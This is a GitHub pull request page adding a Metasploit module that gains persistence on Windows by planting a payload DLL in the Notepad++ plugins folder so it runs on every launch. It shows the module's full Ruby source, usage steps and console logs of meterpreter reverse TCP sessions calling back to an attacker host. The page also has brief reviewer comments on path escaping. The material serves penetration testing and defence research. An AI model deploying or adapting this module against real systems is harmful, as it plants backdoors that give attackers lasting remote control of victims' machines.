-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Adds notepad++ persistence module for Windows #20685
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from 6 commits
d4283cd
2cbf32c
e35bd89
58eec7d
0e26719
8285b43
6957f73
554c952
d904a52
098af34
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,96 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and | ||
| executes DLL from its plugin directory on startup,meaning that the payload will be executed every time Notepad++ is launched. | ||
|
|
||
| The payload will have same privileges as user executing Notepad++. | ||
|
|
||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Start msfconsole | ||
| 1. Get a shell/meterpreter on a windows box | ||
| 1. Do: `use exploit/windows/persistence/notepad++_persistence ` | ||
| 1. Do: `set session #` | ||
| 1. Do: `run` | ||
| 1. You should get persistence once the targeted application is open and closed. | ||
|
|
||
| ## Options | ||
|
|
||
| ### PAYLOAD_NAME | ||
|
|
||
| Name of the payload file. Defaults to `<random>.dll` | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### Windows 10 | ||
|
|
||
| Original shell | ||
| ``` | ||
| [*] Starting persistent handler(s)... | ||
| [*] Using configured payload generic/shell_reverse_tcp | ||
| payload => windows/x64/meterpreter_reverse_tcp | ||
| LHOST => wg0 | ||
| LPORT => 4242 | ||
| [*] Started reverse TCP handler on 192.168.3.7:4242 | ||
| [*] Meterpreter session 1 opened (192.168.3.7:4242 -> 10.5.134.148:49988) at 2025-11-12 16:24:53 +0100 | ||
|
|
||
| meterpreter > getuid | ||
| Server username: WIN10_2004_8D28\Administrator | ||
| meterpreter > sysinfo | ||
| Computer : WIN10_2004_8D28 | ||
| OS : Windows 10 2004 (10.0 Build 19041). | ||
| Architecture : x64 | ||
| System Language : en_US | ||
| Domain : WORKGROUP | ||
| Logged On Users : 1 | ||
| Meterpreter : x64/windows | ||
| ``` | ||
|
|
||
| Persistence | ||
| ``` | ||
| msf exploit(multi/handler) > use exploit/windows/persistence/notepadpp_plugin_persistence | ||
| [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp | ||
| msf exploit(windows/persistence/notepadpp_plugin_persistence) > set payload windows/x64/meterpreter/reverse_tcp | ||
| payload => windows/x64/meterpreter/reverse_tcp | ||
| msf exploit(windows/persistence/notepadpp_plugin_persistence) > set session 1 | ||
| session => 1 | ||
| msf exploit(windows/persistence/notepadpp_plugin_persistence) > run verbose=true | ||
| [*] Exploit running as background job 0. | ||
| [*] Exploit completed, but no session was created. | ||
|
|
||
| msf exploit(windows/persistence/notepadpp_plugin_persistence) > [*] Started reverse TCP handler on 192.168.3.7:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] The target is vulnerable. Notepad++ present and plugin folder is writable | ||
| [+] Writing payload to C:\Program Files\Notepad++\plugins\JzHPoxkI\ | ||
| [*] Payload (9216 bytes) uploaded on WIN10_2004_8D28 to C:\Program Files\Notepad++\plugins\JzHPoxkI\ | ||
| [*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/WIN10_2004_8D28_20251112.2704/WIN10_2004_8D28_20251112.2704.rc | ||
| [*] Sending stage (230982 bytes) to 10.5.134.148 | ||
| [*] Meterpreter session 2 opened (192.168.3.7:4444 -> 10.5.134.148:50011) at 2025-11-12 16:27:19 +0100 | ||
| msf exploit(windows/persistence/notepadpp_plugin_persistence) > sessions | ||
|
|
||
| Active sessions | ||
| =============== | ||
|
|
||
| Id Name Type Information Connection | ||
| -- ---- ---- ----------- ---------- | ||
| 1 meterpreter x64/windows WIN10_2004_8D28\Administrator @ WIN10_2004_8 192.168.3.7:4242 -> 10.5.134.148:49988 (10.5. | ||
| D28 134.148) | ||
| 2 meterpreter x64/windows WIN10_2004_8D28\Administrator @ WIN10_2004_8 192.168.3.7:4444 -> 10.5.134.148:50011 (10.5. | ||
| D28 134.148) | ||
|
|
||
| msf exploit(windows/persistence/notepadpp_plugin_persistence) > sessions 2 | ||
| [*] Starting interaction with 2... | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : WIN10_2004_8D28 | ||
| OS : Windows 10 2004 (10.0 Build 19041). | ||
| Architecture : x64 | ||
| System Language : en_US | ||
| Domain : WORKGROUP | ||
| Logged On Users : 1 | ||
| Meterpreter : x64/windows | ||
| meterpreter > getuid | ||
| Server username: WIN10_2004_8D28\Administrator | ||
|
|
||
| ``` |
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
| @@ -0,0 +1,94 @@ | ||||||
| ## | ||||||
| # This module requires Metasploit: https://metasploit.com/download | ||||||
| # Current source: https://github.com/rapid7/metasploit-framework | ||||||
| ## | ||||||
|
|
||||||
| class MetasploitModule < Msf::Exploit::Local | ||||||
| Rank = ExcellentRanking | ||||||
|
|
||||||
| include Msf::Post::File | ||||||
| include Msf::Exploit::EXE | ||||||
| include Msf::Exploit::Local::Persistence | ||||||
| prepend Msf::Exploit::Remote::AutoCheck | ||||||
|
|
||||||
| def initialize(info = {}) | ||||||
| super( | ||||||
| update_info( | ||||||
| info, | ||||||
| 'Name' => 'Notepad++ Plugin Persistence', | ||||||
| 'Description' => %q{ | ||||||
| This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and executes DLL from its plugin directory on startup, meaning that the payload will be executed every time Notepad++ is launched. | ||||||
| }, | ||||||
| 'License' => MSF_LICENSE, | ||||||
| 'Author' => [ 'msutovsky-r7' ], | ||||||
| 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], | ||||||
| 'Platform' => [ 'win' ], | ||||||
| 'SessionTypes' => [ 'meterpreter', 'shell' ], | ||||||
| 'Targets' => [ | ||||||
| [ 'Automatic', {} ] | ||||||
| ], | ||||||
| 'DisclosureDate' => '2005-12-11', # plugins were added to Notepad++ | ||||||
| 'DefaultTarget' => 0, | ||||||
| 'References' => [ | ||||||
| ['URL', 'https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence'] | ||||||
| ], | ||||||
| 'Notes' => { | ||||||
| 'Stability' => [CRASH_SAFE], | ||||||
| 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], | ||||||
| 'SideEffects' => [ARTIFACTS_ON_DISK] | ||||||
| } | ||||||
| ) | ||||||
| ) | ||||||
|
|
||||||
| register_options( | ||||||
| [ | ||||||
| OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']), | ||||||
| ] | ||||||
| ) | ||||||
| end | ||||||
|
|
||||||
| def get_plugin_dir | ||||||
| expand_path('%PROGRAMFILES%\\Notepad++\\plugins\\') | ||||||
| end | ||||||
|
|
||||||
| def check | ||||||
| @plugin_dir = get_plugin_dir | ||||||
| return CheckCode::Safe('Notepad++ is probably not present') unless directory?(@plugin_dir) | ||||||
|
|
||||||
| # borrowed from startup folder persistence | ||||||
| begin | ||||||
| # windows only ps payloads have writable? so try that first | ||||||
| return CheckCode::Safe("Unable to write to #{@plugin_dir}") unless writable?(@plugin_dir) | ||||||
| rescue RuntimeError | ||||||
| filename = @plugin_dir + '\\' + Rex::Text.rand_text_alpha((rand(6..13))) | ||||||
| write_file(filename, '') | ||||||
| if exists? filename | ||||||
| rm_f(filename) | ||||||
| else | ||||||
| return CheckCode::Safe("Unable to write to #{@plugin_dir}") | ||||||
| end | ||||||
| end | ||||||
|
|
||||||
| CheckCode::Vulnerable('Notepad++ present and plugin folder is writable') | ||||||
| end | ||||||
|
|
||||||
| def install_persistence | ||||||
| @plugin_dir ||= get_plugin_dir | ||||||
|
|
||||||
| payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) | ||||||
| payload_pathname = @plugin_dir + payload_name + '\\' | ||||||
| payload_exe = generate_payload_dll({ dll_exitprocess: true }) | ||||||
|
|
||||||
| vprint_good("Writing payload to #{payload_pathname}") | ||||||
| if session.type == 'meterpreter' | ||||||
| fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname) | ||||||
| else | ||||||
| fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless cmd_exec("mkdir \"#{payload_pathname}\"") | ||||||
| end | ||||||
|
|
||||||
| fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe) | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
I think
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Yeah it does, but the module creates plugin subdirectory called |
||||||
|
|
||||||
| vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}") | ||||||
| @clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n" | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. What if
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. We have a new API for handling this type of thing, it could be used here https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/base/sessions/windows_escaping.rb#L38 |
||||||
| end | ||||||
| end | ||||||
Uh oh!
There was an error while loading. Please reload this page.